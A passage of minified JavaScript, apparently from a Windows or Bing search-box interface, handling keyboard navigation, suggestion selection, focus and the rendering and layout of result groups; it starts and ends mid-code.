i.removeIcon.selected=!0,this.renderSelectedSuggestionState(!0),!0;if((t===46||t===32)&&i.removeIcon.selected)return i.removeIcon.click(n.getCurrentTime(),1),!0;i.removeIcon.selected=!1;this.renderSelection(i)}}if(n.RuntimeConfig.QfMode==5&&t==46){let t=this._selectedItem;return t&&t.removeIcon?(t.removeIcon.click(n.getCurrentTime(),1),!0):!1}let h=n.getCurrentActiveElement();if(!this.isScopeTile(h)||c||this._menuFactory.isMenuVisible()||this._popoverFactory&&this._popoverFactory.isPopoverVisible()||t!=39&&t!=37)if(!(n.config.enableMessageBanner||(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(40979072)))||c||t!=39&&t!=37||!(this.isMessageBannerButton(h)||this.isNotificationBannerButton(h))||this._menuFactory.isMenuVisible()||this._popoverFactory&&this._popoverFactory.isPopoverVisible()){if(t==9)if(n.config.allowTabToSelectSuggestions||l||!this._selectedItem||c||this.isScopeElement(this._selectedItem))if(f){if(n.RuntimeConfig.PreviewPaneAvailable&&this._previewPane&&this._selectedItem&&!this.isScopeElement(this._selectedItem)){this._previewPane.onAfterKeyDownWhenNewSelection(t,this._partialQuery,this._selectedItem);if(c)return!0}}else this.handleCrossViewModelsTabKeyNavigation(h,l);else this.select(this._headerFooterViewModel.getSelectableItems()[0],!1);else if(n.RuntimeConfig.PreviewPaneAvailable&&this._previewPane&&this._selectedItem&&!this.isScopeElement(this._selectedItem)){this._previewPane.onAfterKeyDownWhenNewSelection(t,this._partialQuery,this._selectedItem);if(c)return!0}}else{let u=n.getRtlAdjustedKey(t),i;if(this.isMessageBannerButton(h)?i=[d,g]:this.isNotificationBannerButton(h)&&(i=[o,s]),!i)return!1;const r=h?i.findIndex(n=>n.id===h.id):-1,f=u==37?r==0:r==i.length-1;if(f)return!1;const e=u==37?r-1:r+1;this.select(i[e],!1);(v=_ge(this._selectedItem.id))===null||v===void 0?void 0:v.focus()}else{let i=n.getRtlAdjustedKey(t);this._headerFooterViewModel.focusNextScopeTile(h,i==39);let r=this._headerFooterViewModel.getSelectableItems();this.select(r[0],!1)}if(c=this._previewPane&&this._previewPane.hasFocus(),this._selectedItem&&(n.isUpOrDownKey(t)||t==9||n.isMsbEnterprise()&&this.isDSBItem(this._selectedItem)&&this.isLeftRightArrowKey(t))&&!c){const i=this.isScopeElement(this._selectedItem);i||this._selectedItem==this.topResults[0]?(this._page.scrollToTop(),n.config.disbaleWideForLargeTextScale&&this._page.scrollToLeft()):this._page.scrollTo(this._selectedItem,n.isWin11DSB(this._partialQuery),this.isWorkScope());const u=ut+"-AdjustFocus";i||this.isAdvancedOption(this._selectedItem)||this.isFlyout(this._selectedItem)?(n.Host.useImprovedIndexingMessage()?this.isAdvancedOption(this._selectedItem)&&this._selectedItem.id!==p&&this._selectedItem.id!==r?(w=_ge(this._selectedItem.id))===null||w===void 0?void 0:w.querySelector("input").focus():(nt=_ge(this._selectedItem.id))===null||nt===void 0?void 0:nt.focus():this.isAdvancedOption(this._selectedItem)&&this._selectedItem.id!==y?(tt=_ge(this._selectedItem.id))===null||tt===void 0?void 0:tt.querySelector("input").focus():(it=_ge(this._selectedItem.id))===null||it===void 0?void 0:it.focus(),n.Host.searchBoxHasFocus()&&n.Host.setFocusInWebView(u)):this._selectedItem.id==ki?(this._DSBIframeSelected=!0,n.dsbManager.focus()):this.isDSBItem(this._selectedItem)||this._selectedItem.id==yt||this._selectedItem.id==pt||this._selectedItem.id==bt||this._selectedItem.id==e||this._selectedItem.id==kt||this._selectedItem.id==di||this._selectedItem.id==gi||this._selectedItem.id==b||this.isWorkScope()&&this._selectedItem.type===n.GroupType.Related||this._selectedItem.id==wt?(rt=_ge(this._selectedItem.id))===null||rt===void 0?void 0:rt.focus({preventScroll:this._selectedItem.preventScroll}):t!=9&&n.Host.searchBoxHasFocus()||n.Host.setFocusInSearchBox(t,u)}return this.isFlyoutVisible()&&k.indexOf(this._selectedItem)>=0&&(t==39?this.selectNextFlyoutItem(1):t==37&&this.selectNextFlyoutItem(-1)),!1}isFlyoutVisible(){return n.config.enableEducationalFlyout&&!n.StaticHtmlElements.flyoutContainer.classList.contains("b_hide")}selectNextFlyoutItem(n){if(this.isFlyoutVisible()){const t=k.filter(n=>_ge(n.id)),r=t.indexOf(this._selectedItem),i=(r+n)%t.length;this._selectedItem=t[i>=0?i:t.length-1];_ge(this._selectedItem.id).focus()}}handleCrossViewModelsTabKeyNavigation(t,i){const u=n.RuntimeConfig.PreviewPaneAvailable&&!!this._previewPane,r=u&&this._previewPane.isOpened(),f=r&&this._previewPane.hasFocus();if(n.DialogBox&&n.DialogBox.isVisible()){let t=n.DialogBox.getSelectableItemsByGroup();i?this.select(t[t.length-1][0],!1):this.select(t[0][0],!1)}else if(f)if(i){this._previewPane.blur();let n=null;if(this._headerFooterViewModel){let t=this._headerFooterViewModel.getSelectableItemsByGroup();n=t[t.length-1][0]}this.select(n,!1)}else{this._previewPane.blur();let n=this.getSelectableItems();this.select(n[0],!0);this._previewPane.onAfterKeyDownWhenNewSelection(9,this._partialQuery,n[0])}else if(this.isScopeTile(t)){let t=!1;if(n.dsbManager&&i){let i=n.dsbManager.getSelectableItemsByGroup();if(i.length>0){let n=i[i.length-1][0];this.select(n,!1);t=!0}}if(!t)if(!r||i){let t=this.getSelectableSuggestionsByGroup();if(t.length>0){let n=i?t[t.length-1][0]:t[0][0];this.select(n,!0)}else{let n=this.getSelectableItems();n.length>0?this.select(n[0],!0):this.select(null,!0)}const r="handleCrossBordersNavigationWithTab";n.safeSetTimeout(()=>n.Host.setFocusInSearchBox(9,r),0,r)}else this.select(this._previewPane.getPreviewedSuggestion(),!0),this._previewPane.focus(!0)}else if(this._selectedItem)if(this._selectedItem.id==ki)if(this._DSBIframeSelected){this._DSBIframeSelected=!1;let n=this.getSelectableItemsByGroup(),t=n[0][0];this.select(t,!1)}else this._DSBIframeSelected=!0,n.dsbManager.focus();else if(i)if(r)this._previewPane.focus();else{let n=this.getSelectableItemsByGroup(),t=n[n.length-1][0];this.select(t,!1)}else this.select(this.getSelectableItemsByGroup()[0][0],!1);else this.select(this.getSelectableItemsByGroup()[0][0],!1)}tryShowContextMenuOnSelectedSuggestion(t){let i=this._selectedItem&&this.isSuggestion(this._selectedItem)?this._selectedItem:null;i&&n.safeExecute(()=>this._menuFactory.showContextMenuOnElement(i,_ge(i.id),()=>n.Host.setFocusInSearchBox(null,"contextMenuDismiss"),t),"contextMenuHandler")}onQueryChanged(t,i){var u;if(n.DialogBox&&n.DialogBox.hide(),this._menuFactory.dismiss(),!this._partialQuery||!this._partialQuery.equals(t)){n.config.wsbWithCopilotQF&&(this._copilotResponsePreviewTimeout&&sb_ct(this._copilotResponsePreviewTimeout),this._copilotResponseRendered&&(this._copilotResponseRendered=!1),this._page.updatePreviewContainerCopilotView({queryText:"",isQF:!0,chatClickHandler:null},""),_ge("copilotInlinePreview").classList.add("b_hide"));this._page.hideTemporaryMessage();n.config.dataSourcesWithProgressBar.length>0&&(this._progressTimer&&(sb_ct(this._progressTimer),this._progressTimer=null),t.showProgressBar?this._progressTimer=n.safeSetTimeout(()=>{this._progressTimer&&(this._page.setProgressIndicatorVisibility(!0),this._progressTimer=null)},250,"showProgress"):this._page.setProgressIndicatorVisibility(!1));n.Host.useImprovedIndexingMessage()||this._partialQuery&&this._partialQuery.scope!=t.scope&&(this._turnOnIndexingInstItem||this.hideIndexingMessage());let f=this._partialQuery?this._partialQuery.queryToFetch:"",r=t.queryToFetch;if(this._previewPane&&n.RuntimeConfig.PreviewPaneAvailable)this._previewPane.onQueryChanged(t);this._partialQuery=t;let e=!1;for(let n of this.topResults)if(n.updateFromQuery&&!n.hasPreviewPaneOpened)n.updateFromQuery(t)&&(e=!0);else if(r.length>f.length&&r.startsWith(f)&&n.query.toLowerCase().includes(t.queryToFetch.toLowerCase())){let t=n.text.indexOf(HitHighlightingParser.endMarker);t>=0&&t<n.text.length-1&&(n.text=HitHighlightingParser.addMarkers(HitHighlightingParser.removeMarkers(n.text),r),e=!0)}if(e){for(let n of this.topResults)n.sequenceNumber=i,this.updateNarratorWithPreviewMessage(n);this.renderTopResults()}const o=n.RuntimeConfig.EntryPointApp==1;n.config.useCobaltCSS&&r===""&&f.length>=1&&!o&&((u=this._headerFooterViewModel)===null||u===void 0?void 0:u.scopesSliderReset());this.resetIconTimers();this._iconRenderInfos=[]}}onSuggestionsParsed(t,i,r,u,f){var o,s;if(t.enabledDataSources&&t.enabledDataSources[r]){let e=t.enabledDataSources[r].groupType;if(e===n.GroupType.QuickWorkSearch&&(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isQwsEnabled())&&t.isSearchHomeZI)for(let t of f)t.staticGroupType=t.msbDomain==="Person"?n.GroupType.QuickWorkSearchTopList:e;else if(e===n.GroupType.AnaheimDataList)for(let t of f)t.staticGroupType=n.config.enableAnaheimDataTSTile&&t.type=="ANAT"?n.GroupType.AnaheimDataTile:e;else if(e==n.GroupType.AnaheimDataQF)for(o=0;o<f.length;o++)s=f[o],s.staticGroupType=n.config.topHitMuse&&s.type=="ANATH"?n.GroupType.AnaheimDataTopHit:n.config.useGroupTitleEdgeBS?e:n.GroupType.SearchSuggestions;else if(e===n.GroupType.SearchSuggestions)for(let t of f)t.staticGroupType=n.config.topHitMuse&&t.type=="ANATH"?n.GroupType.AnaheimDataTopHit:e;else if(typeof e=="number")for(let n of f)n.staticGroupType=e;n.Host.useImprovedIndexingMessage()||(u==="NI"||u==="PI")&&(n.Host.getJupiterProviderEnabled()?r!="CoPST"&&(r=="PP"||r=="ST"||t.scope!=n.Scope.All)&&n.RuntimeConfig.ScopesAvailable&&t.scope!=n.Scope.Web&&this.showIndexingMessage(!0):(r=="PP"||r=="ST"||t.scope!=n.Scope.All)&&n.RuntimeConfig.ScopesAvailable&&t.scope!=n.Scope.Web&&this.showIndexingMessage(!0))}}areSuggestionsPresent(){return this.topResults.length>0||this.groups.length>0&&this.groups.some(n=>n.suggestions.length>0)}isWorkScope(){var t;return((t=this._partialQuery)===null||t===void 0?void 0:t.scope)===n.Scope.Work}getSuggestions(n){let t=this.getCurrentTopResults();return this.groups.forEach(n=>t=t.concat(n.suggestions)),n&&(this._pendingSuggestionsInExistingGroups.forEach(n=>t=t.concat(n.suggestions)),this._pendingSuggestionsInMissingGroups.forEach(n=>t=t.concat(n.suggestions))),t}getSelectableItems(){var r,u,f,h,c,l,a,v,y,p,w,k,i;if(n.DialogBox&&n.DialogBox.isVisible())return n.DialogBox.getSelectableItems();if(this._menuFactory.isMenuVisible())return this._menuFactory.getSelectableItems();if(this._previewPane&&this._previewPane.hasFocus())return this._previewPane.getSelectableItems();let t=[];n.Host.useImprovedIndexingMessage()?this._indexingNotificationDataModel&&(this._indexingNotificationDataModel.action&&t.push(this._indexingNotificationDataModel.action),this._indexingNotificationDataModel.dismissAction&&t.push(this._indexingNotificationDataModel.dismissAction)):((r=this._launchIndexingDataModel)===null||r===void 0?void 0:r.action)&&t.push(this._launchIndexingDataModel.action);!this.shouldShowMessageBanner()||((f=(u=n.StaticHtmlElements.messageBannerBottom)===null||u===void 0?void 0:u.className)===null||f===void 0?void 0:f.includes("b_hide"))&&((c=(h=n.StaticHtmlElements.messageBannerTop)===null||h===void 0?void 0:h.className)===null||c===void 0?void 0:c.includes("reclaim"))||t.push(...[dt,((l=this._selectedItem)===null||l===void 0?void 0:l.id)==e?g:d]);t.push(...this.topResults);for(let r of this.groups){if(r.click&&!n.config.newGroupHeaderStyle4&&t.push(r),r.popover&&t.push(r.popover.subItem),!(this.isWorkScope()&&r.type===n.GroupType.Related&&r.isGroupContainerCollapsed)){let n=r.suggestions.filter(n=>!n.suppressed);const f=`showMoreButton${r.type}`,u=_ge(f);r.maxSuggestionsToShow!=undefined&&(n===null||n===void 0?void 0:n.length)>r.maxSuggestionsToShow&&!r.isGroupContainerFullyExpanded&&(n=n.slice(0,r.maxSuggestionsToShow));u&&u.getAttribute(pu)=="true"&&(n=n.slice(0,5));n.forEach(n=>{n.unselectable||t.push(n),n.subItems&&t.push(...n.subItems.filter(n=>!n.disabled))});u&&u.className&&(i={id:f,selected:!1,click:()=>{u.click()},onSelected:()=>{var n;(n=_ge(this._selectedItem.id))===null||n===void 0?void 0:n.setAttribute("class","showMoreButton sa_hv selected selectable")},onUnselected:()=>{var n;(n=_ge(this._selectedItem.id))===null||n===void 0?void 0:n.setAttribute("class","showMoreButton")},type:"FL",getMruData:()=>{}},t.push(i))}if(n.config.newGroupHeaderStyle1&&!this._partialQuery.isSearchHomeZI&&this._partialQuery.scope==n.Scope.All){const n=`showMoreItemsInGroup${r.type}`,u=_ge(n);u&&(i={id:n,selected:!1,click:()=>{u.click()},onSelected:()=>{var n;(n=_ge(this._selectedItem.id))===null||n===void 0?void 0:n.classList.add("sa_hv")},onUnselected:()=>{var n;(n=_ge(this._selectedItem.id))===null||n===void 0?void 0:n.classList.remove("sa_hv")},type:"FL",getMruData:()=>{}},t.push(i))}}if(!this.isWorkScope()||((a=this._selectedItem)===null||a===void 0?void 0:a.isGroupContainerCollapsed)||(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isWorkScopeListViewEnabled())||t.push(du),this.shouldShowDmaBanner()&&!((y=(v=n.StaticHtmlElements.notificationBanner)===null||v===void 0?void 0:v.className)===null||y===void 0?void 0:y.includes("b_hide"))){let i=[];n.config.useCobaltCSS&&i.push(tr);i.push(((p=this._selectedItem)===null||p===void 0?void 0:p.id)==b?s:o);t.push(...i)}return n.dsbManager&&t.push(...n.dsbManager.getSelectableItems()),this.areSuggestionsPresent()||t.push(nt),this._headerFooterViewModel&&t.push(...this._headerFooterViewModel.getSelectableItems()),!this.shouldShowWorkUpsellMessage()||((k=(w=n.StaticHtmlElements.workUpsellBanner)===null||w===void 0?void 0:w.className)===null||k===void 0?void 0:k.includes("b_hide"))||t.push(...ku),t}getSelectableSuggestionsByGroup(){if(n.config.allowTabToSelectSuggestions){let t=[];n.config.enableMessageBanner&&t.push(nr);t.push(this.topResults);this.groups.forEach(i=>{if(i.click&&!n.config.newGroupHeaderStyle4&&t.push([i]),i.popover&&t.push([i.popover.subItem]),!(this.isWorkScope()&&i.type===n.GroupType.Related&&i.isGroupContainerCollapsed)){let r=[],n=i.suggestions.filter(n=>!n.suppressed);i.maxSuggestionsToShow!=undefined&&(n===null||n===void 0?void 0:n.length)>i.maxSuggestionsToShow&&!i.isGroupContainerFullyExpanded&&(n=n.slice(0,i.maxSuggestionsToShow));n.forEach(n=>{n.unselectable||r.push(n),n.subItems&&r.push(...n.subItems.filter(n=>!n.disabled))});t.push(r)}});let i=!0;return n.config.checkNotificationBannerDisplay&&(n.isNullOrUndefined(n.StaticHtmlElements.notificationBanner)&&(i=!1),n.StaticHtmlElements.notificationBanner.classList.contains("b_hide")&&(i=!1)),(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(40979072))&&i&&t.push(ir),t.filter(n=>n.length>0)}return[]}getSelectableItemsByGroup(){var i,r,u,f,h,c,l,a,v;if(n.DialogBox&&n.DialogBox.isVisible())return n.DialogBox.getSelectableItemsByGroup();if(this._menuFactory.isMenuVisible())return this._menuFactory.getSelectableItemsByGroup();if(this._previewPane&&this._previewPane.hasFocus())return this._previewPane.getSelectableItemsByGroup();let t=[];return this.isFlyoutVisible()&&t.push([k.find(n=>!!_ge(n.id))]),this._headerFooterViewModel&&t.push(...this._headerFooterViewModel.getSelectableItemsByGroup()),n.Host.useImprovedIndexingMessage()?(((i=this._indexingNotificationDataModel)===null||i===void 0?void 0:i.action)&&t.push([this._indexingNotificationDataModel.action]),((r=this._indexingNotificationDataModel)===null||r===void 0?void 0:r.dismissAction)&&t.push([this._indexingNotificationDataModel.dismissAction])):((u=this._launchIndexingDataModel)===null||u===void 0?void 0:u.action)&&t.push([this._launchIndexingDataModel.action]),this.areSuggestionsPresent()?(t.push(...this.getSelectableSuggestionsByGroup()),n.dsbManager&&t.push(...n.dsbManager.getSelectableItemsByGroup())):(!this.shouldShowMessageBanner()||((h=(f=n.StaticHtmlElements.messageBannerBottom)===null||f===void 0?void 0:f.className)===null||h===void 0?void 0:h.includes("b_hide"))&&((l=(c=n.StaticHtmlElements.messageBannerTop)===null||c===void 0?void 0:c.className)===null||l===void 0?void 0:l.includes("reclaim"))||t.push([dt,((a=this._selectedItem)===null||a===void 0?void 0:a.id)==e?g:d]),this.shouldShowDmaBanner()&&t.push([((v=this._selectedItem)===null||v===void 0?void 0:v.id)==b?s:o]),n.dsbManager&&t.push(...n.dsbManager.getSelectableItemsByGroup()),t.push([nt])),t}getSelectedItem(){return n.DialogBox&&n.DialogBox.isVisible()?n.DialogBox.getSelectedItem():this._menuFactory.isMenuVisible()?this._menuFactory.getSelectedItem():this._previewPane&&this._previewPane.hasFocus()?this._previewPane.getSelectedItem():this._selectedItem?this._selectedItem:nt}updateSelectionState(t){n.contains(this.topResults,t)?this.renderTopResults():this.groups.some(i=>n.contains(i.suggestions,t))&&this.renderGroups()}updateLastMiniSerpAutoSuggestion(n){this._lastMiniSerpAutoSuggestion=n}addLastMiniSerpAutoSuggestionToMru(){this._conversationEndsHandlers.forEach(n=>n(this._lastMiniSerpAutoSuggestion,this._partialQuery))}isSubItem(n){return n&&typeof n.itemView!="undefined"}getSuggestionById(n){for(let t=0;t<this.groups.length;t++)for(let i=0;i<this.groups[t].suggestions.length;i++)if(this.groups[t].suggestions[i].id==n)return this.groups[t].suggestions[i];return null}selectGroupItem(t){var r,i;for(r of this.groups)for(i of r.suggestions)i.reactKey==t.reactKey?n.config.enableQFChatWithBingSuggestions?i.staticGroupType===t.staticGroupType&&(i.selected=!0,this._selectedItem=i):(i.selected=!0,this._selectedItem=i):i.selected=!1;for(i of this.topResults)i.reactKey==t.reactKey?(i.selected=!0,this._selectedItem=i):i.selected=!1}doesGroupsContain(n){var t,i;for(t of this.groups)for(i of t.suggestions)if(i.reactKey==n.reactKey)return!0;return!1}renderSelection(t,i){var r,u,f,e;this.updateGroupSuggestion(i);this.isSubItem(t)&&(t=this.getSuggestionById(t.suggestionId));i&&this.isSubItem(i)&&(i=this.getSuggestionById(i.suggestionId));(t&&this.isSuggestion(t)&&n.contains(this.topResults,t)||i&&this.isSuggestion(i)&&n.contains(this.topResults,i))&&(this.renderTopResults(),this.groups&&(i&&i.handoffType===21||((r=this.groups[0])===null||r===void 0?void 0:r.suggestions)&&((u=this.groups[0].suggestions[0])===null||u===void 0?void 0:u.handoffType)===21)&&this.renderGroups());this._headerFooterViewModel&&(t&&this.isAdvancedOption(t)||i&&this.isAdvancedOption(i))&&this._headerFooterViewModel.updateTopHitHeader();n.Host.useImprovedIndexingMessage()||t&&((e=(f=this._launchIndexingDataModel)===null||f===void 0?void 0:f.action)===null||e===void 0?void 0:e.id)===y&&this._page.updateTemporaryMessageView(this._launchIndexingDataModel);(t&&n.isGroup(t)&&n.contains(this.groups,t)||t&&this.isSuggestion(t)&&this.doesGroupsContain(t)||i&&n.isGroup(i)&&n.contains(this.groups,i)||i&&this.isSuggestion(i)&&this.groups.some(t=>n.contains(t.suggestions,i)))&&this.renderGroups()}updateGroupSuggestion(n){if(n&&n.handoffType===21&&this.groups){const t=this.groups.findIndex(t=>t.type===n.groupType);if(t>-1){const i=this.groups[t].suggestions.findIndex(t=>t.id===n.id);i>-1&&(this.groups[t].suggestions[i].selected=!1)}}}renderGroups(t){var i,r,u,f;if(this._partialQuery){let t=this._partialQuery.queryToFetch?n.config.maxSuggestionsPerGroup:0;t&&t>0&&(!n.config.staticSuggestionsNumberPerGroup||n.isThirdPartySearchAllowed()||!n.isL2(this._partialQuery)&&this._partialQuery.queryToFetch)&&this.groups.forEach((i,r,u)=>{if(n.config.wsbWithCopilotQF&&n.config.singlePaneMaxSuggestionPerGroup&&n.config.singlePaneMaxSuggestionPerGroup[i.type]){u[r].suggestions=i.suggestions.slice(0,n.config.singlePaneMaxSuggestionPerGroup[i.type]);return}u[r].suggestions=i.suggestions.slice(0,t)});this._partialQuery.scope==n.Scope.All&&!n.config.maxSuggestionsPerGroup&&n.config.enableMaxSuggestionsCountForFiles&&n.config.filesMaxSuggestionPerGroup&&this.groups.forEach((t,i,r)=>{if(n.config.filesMaxSuggestionPerGroup[t.type]){r[i].suggestions=t.suggestions.slice(0,n.config.filesMaxSuggestionPerGroup[t.type]);return}})}(n.config.optimizeRenderGroups||!this._groupRenderingDisabled)&&((((i=this._contentQuery)===null||i===void 0?void 0:i.scope)==n.Scope.All||((r=this._contentQuery)===null||r===void 0?void 0:r.isWorkScopeZI))&&this.adjustMsbGroups(),n.canShowAnaheimWin11ZITopSites()&&((u=this._contentQuery)===null||u===void 0?void 0:u.isSearchHomeZI)&&n.shouldShowStaticSearchHome(this._partialQuery)&&n.LightweightStorage.getItem("AnaheimDataTSTileDismissed")!="1"&&this.staticSearchHomeGroupsSetLayout());this._groupRenderingDisabled||this._page.updateGroupsView({query:this._contentQuery,topResults:this.topResults,groups:this.groups},t,this.isWorkScope()&&this.updateExpandedState,((f=this._partialQuery)===null||f===void 0?void 0:f.queryToFetch)?null:this.buildMessageBannerModel(),n.canShowCopilotGreeting(this._contentQuery)?this.getCopilotGreeting():null);(n.config.optimizeRenderGroups||!this._groupRenderingDisabled)&&n.InstrumentationHelper.updateSuggestionsList(this.topResults,this.groups)}staticSearchHomeGroupsSetLayout(){if(n.canShowAnaheimWin11ZITopSites()){const t=this.groups.filter(t=>t.type===n.GroupType.CuratedSettings)[0];t&&(t.cssClasses=`${t.cssClasses||""} colRight fbig`);const i=this.groups.filter(t=>t.type===n.GroupType.TopApps)[0];i&&(i.cssClasses=`${i.cssClasses||""} colRight fbig`)}}adjustMsbGroups(){this.msbGroupsSuppressDefault();this.msbGroupsMergeDocsIntoQws();this.msbGroupsSetupTopList();this.msbGroupsSetLayout()}msbGroupsSuppressDefault(){var t;if((n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isQwsEnabled())&&((t=this._contentQuery)===null||t===void 0?void 0:t.isSearchHomeZI)){const t=this.groups.filter(t=>t.type===n.GroupType.QuickWorkSearchTopList)[0],i=this.groups.filter(t=>t.type===n.GroupType.QuickWorkSearch)[0],r=this.groups.filter(t=>t.type===n.GroupType.RecommendedDocs)[0],u=this.groups.filter(t=>t.type===n.GroupType.MsbQuickWorkQueriesTopList)[0];(t||i||r||u)&&(this.groups=this.groups.filter(t=>t.type!==n.GroupType.TopApps&&t.type!==n.GroupType.QuickSearch&&t.type!==n.GroupType.CuratedSettings))}}getMaxMsbItems(){var t;let i=this.getMaxNumberOfRecentItems(n.GroupType.CuratedSuggestions);if(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isQwsEnabled()){const r=this.groups.filter(t=>t.type===n.GroupType.QuickWorkSearchTopList||t.type===n.GroupType.MsbQuickWorkQueriesTopList)[0];if(((t=r===null||r===void 0?void 0:r.suggestions)===null||t===void 0?void 0:t.length)>0)return i-2}return i}msbGroupsMergeDocsIntoQws(){var t,i,r,u;if(((t=this._contentQuery)===null||t===void 0?void 0:t.isSearchHomeZI)||((i=this._contentQuery)===null||i===void 0?void 0:i.isWorkScopeZI)){const f=this.groups.filter(t=>t.type===n.GroupType.QuickWorkSearch)[0],t=this.groups.filter(t=>t.type===n.GroupType.RecommendedDocs)[0],i=this.groups.filter(t=>t.type===n.GroupType.MsbOnRampButton)[0];if(f&&((r=t===null||t===void 0?void 0:t.suggestions)===null||r===void 0?void 0:r.length)>0){let r=f.suggestions;n.isMsbQwsDocsCacheEnabled(this._partialQuery)&&(r=r.filter(n=>n.type!=="FL"));const u=t.suggestions.slice(0,n.ZiRecommendedDocsResultsCountV2),e=this.getMaxMsbItems(),o=e-u.length;r=r.slice(0,o);r.push(...u);i&&(i.suggestions[0].suppressed=!1,r.push(...i.suggestions),this.groups=this.groups.filter(t=>t.type!==n.GroupType.MsbOnRampButton));f.suggestions=r;this.groups=this.groups.filter(t=>t.type!==n.GroupType.RecommendedDocs);this.groups.filter(t=>t.type===n.GroupType.QuickWorkSearch).map(n=>n.instRegionName="QuickWorkSearchWithRecDocs")}!f&&((u=t===null||t===void 0?void 0:t.suggestions)===null||u===void 0?void 0:u.length)>0&&i&&(i.suggestions[0].suppressed=!1,t.suggestions.push(...i.suggestions),this.groups=this.groups.filter(t=>t.type!==n.GroupType.MsbOnRampButton))}}msbGroupsSetupTopList(){var t,i;if((n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isQwsEnabled())&&((t=this._contentQuery)===null||t===void 0?void 0:t.isSearchHomeZI)){const t=this.groups.filter(t=>t.type===n.GroupType.QuickWorkSearchTopList||t.type===n.GroupType.MsbQuickWorkQueriesTopList)[0];if(t){const u=this.groups.filter(t=>t.type===n.GroupType.QuickWorkSearch)[0];u&&(u.hideGroupHeader=!0);const f=this.groups.filter(t=>t.type===n.GroupType.RecommendedDocs)[0];f&&(f.hideGroupHeader=!0);t.cssClasses=`${t.cssClasses||""} msbQwsTop`;const r=this.groups.filter(t=>t.type===n.GroupType.MsbQuickWorkQueriesTopList)[0];r&&((i=r===null||r===void 0?void 0:r.suggestions)===null||i===void 0?void 0:i.length)>0&&(t.cssClasses=`${t.cssClasses||""} msbQwqTop`)}}}msbGroupsSetLayout(){var t;if((n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isQwsEnabled())&&((t=this._contentQuery)===null||t===void 0?void 0:t.isSearchHomeZI)&&n.RuntimeConfig.AlwaysWide){const t=this.groups.filter(t=>t.type===n.GroupType.QuickWorkSearch)[0];if(t)t.cssClasses=`${t.cssClasses||""} colRight fbig`;else if(n.msbHost.features.isQwsEnabled()){const t=this.groups.filter(t=>t.type===n.GroupType.RecommendedDocs)[0];t&&(t.cssClasses=`${t.cssClasses||""} colRight fbig`)}const i=this.groups.filter(t=>t.type===n.GroupType.QuickWorkSearchTopList||t.type===n.GroupType.MsbQuickWorkQueriesTopList)[0];i&&(i.cssClasses=`${i.cssClasses||""} colRight fbig`)}}select(t,i){var r,u,f,e,o,s,h;if(n.DialogBox&&n.DialogBox.isVisible())n.DialogBox.select(t);else if(this._menuFactory.isMenuVisible()&&n.contains(this._menuFactory.getSelectableItems(),t))this._menuFactory.select(t,!1);else if(this._previewPane&&n.contains(this._previewPane.getSelectableItems(),t))this._previewPane.select(t,!1);else{let c=this._selectedItem;if(c&&(c.selected=!1,((r=this._partialQuery)===null||r===void 0?void 0:r.scope)===n.Scope.Work&&(c.hasPreviewPaneOpened=!1,(c===null||c===void 0?void 0:c.type)===n.GroupType.Related&&((u=_ge(c.id))===null||u===void 0?void 0:u.blur())),n.config.enableMessageBanner&&nr.findIndex(n=>n.id===c.id)!=-1&&((f=_ge(c.id))===null||f===void 0?void 0:f.blur()),(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(40979072))&&ir.some(n=>n.id===c.id)&&((e=_ge(c.id))===null||e===void 0?void 0:e.blur()),this.setSelectedStyleSuspended(c,!1)),t==nt)this._selectedItem=null,n.Host.searchBoxHasFocus()||n.Host.setFocusInSearchBox(null,"rvm_select");else if(this._selectedItem=t,t&&(this.isDSBItem(t)&&!n.config.optimizeRenderSelection&&n.Host.searchBoxHasFocus()&&n.Host.setFocusInWebView("rvm_dsb_select"),t.selected=!0,((o=this._partialQuery)===null||o===void 0?void 0:o.scope)===n.Scope.Work&&(this._selectedItem.hasPreviewPaneOpened=!0),(s=t.onSelected)===null||s===void 0?void 0:s.call(t),this.setSelectedStyleSuspended(t,!n.Host.searchBoxHasFocus()),this.isDSBItem(t)&&n.config.optimizeRenderSelection&&(n.Host.searchBoxHasFocus()&&n.Host.setFocusInWebView("rvm_dsb_select"),this.isDSBItem(c))))return;if(i&&t&&(t.arrowOrTabAction=!0),n.config.optimizeRenderSelection||this.renderSelection(this._selectedItem,c),this.isScopeElement(t)&&(this._headerFooterViewModel.select(t,!1),this.isScopeElement(c)&&n.config.optimizeRenderSelection))return;if(n.config.optimizeRenderSelection&&this.renderSelection(this._selectedItem,c),i){let i=t?t.query:null;i&&((h=this._partialQuery)===null||h===void 0?void 0:h.scopePrefix)&&(i=this._partialQuery.scopePrefix.trim()+": "+i);n.canShowAnaheimWin11ZITopSites()&&t&&t.staticGroupType==55&&(i=t.text);n.Host.updateQueryWithoutRefetching(i)}}}resetIconTimers(n,t){let i=typeof n=="undefined"||!n,r=typeof n=="undefined"||n;if(i){if(t)for(let n of this._renderGroupsIconsCBs)n();this._renderGroupsIconsCBs=[];this._renderGroupsTimerForIcons&&(sb_ct(this._renderGroupsTimerForIcons),this._renderGroupsTimerForIcons=null)}if(r){if(t)for(let n of this._renderTopResultsIconsCBs)n();this._renderTopResultsIconsCBs=[];this._renderTopResultsTimerForIcons&&(sb_ct(this._renderTopResultsTimerForIcons),this._renderTopResultsTimerForIcons=null)}}setupIcon(t,i,r,u){if(n.config.noFetchIcons||n.config.reactGroups){u();return}let 